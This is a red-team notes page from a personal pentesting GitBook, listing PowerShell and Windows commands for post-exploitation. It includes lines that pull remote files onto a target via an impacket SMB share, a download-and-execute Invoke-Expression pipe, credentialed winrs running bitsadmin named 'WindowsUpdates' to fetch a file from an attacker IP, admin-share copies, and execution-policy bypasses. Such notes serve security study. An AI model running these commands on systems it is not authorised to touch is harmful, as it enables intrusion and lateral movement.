Johnermac
  • About me
  • Active Directory
    • PowerShell
      • Customize
      • Notes
      • ETW
      • AMSI Bypass
      • Obfuscation
    • Enumeration
      • Domain
      • GPO
      • ACL
      • Domain Trusts
      • Forest
      • Extra
      • BloodHound
      • BloodHound CE
  • Tunneling
    • Tools
      • Udp2Raw
      • Fraud Bridge
      • Chisel
      • SSF
      • Egress-Assess
      • Ligolo-ng
      • Sshutle
      • Rpivot
      • Tunna
      • reGeorg
      • Neo-reGeorg
      • PivotSuite
  • Post-Exploitation
    • Data Exfiltration
      • HTTP
        • Cancel
        • wget
        • bash
        • busybox
        • IRB
        • PHP
        • Ruby
      • ICMP
        • XXD
        • Ruby
        • Python
      • UDP
        • Netcat
      • TCP
        • Netcat
        • KSH
        • whois
        • Finger
      • HTTPS
        • Python
        • OpenSSL
  • BLOG
    • Articles
      • Pivoting for Red Teaming
Powered by GitBook
On this page
  1. Active Directory
  2. PowerShell

Notes

Impacket has a module that opens a share in a smb server for file transfer:

on Kali > impacket-smbserver -smb2support <share name> <directory>

on Target > net uset z: \\<kali ip>\<share name>

then just cd to z:

git reset --hard = update the repository

pwsh = to open powershell on Linux

change powershell window's title:

$host.UI.RawUI.WindowTitle = “WINDOWS NAME”

Change colors between quotes

set-psreadlineoption -colors @{ string = 'green' }

WinFetch to display info system

(Invoke-WebRequest "https://raw.githubusercontent.com/lptstr/winfetch/master/winfetch.ps1" -UseBasicParsing).Content.Remove(0,1) | Invoke-Expression

# Copy file to the machine

echo F | xcopy C:\Users\myuser\file.exe \\teste-machine\c$\Users\Public\file.exe /Y

winrs -r:<machine> -u:<user> -p:<pass> "bitsadmin /transfer WindowsUpdates /priority normal http://<ip>/<file> C:\\Users\\Public\\<file>"

Turn off Execution Policy:

PS > $ExecPolicy = Get-ExecutionPolicy 
PS > Set-ExecutionPolicy bypass PS > .\ADRecon.ps1 
PS > Set-ExecutionPolicy $ExecPolicy
powershell.exe -ep bypass
PS > $Env:PSExecutionPolicyPreference = 'Bypass'

PreviousCustomizeNextETW

Last updated 1 year ago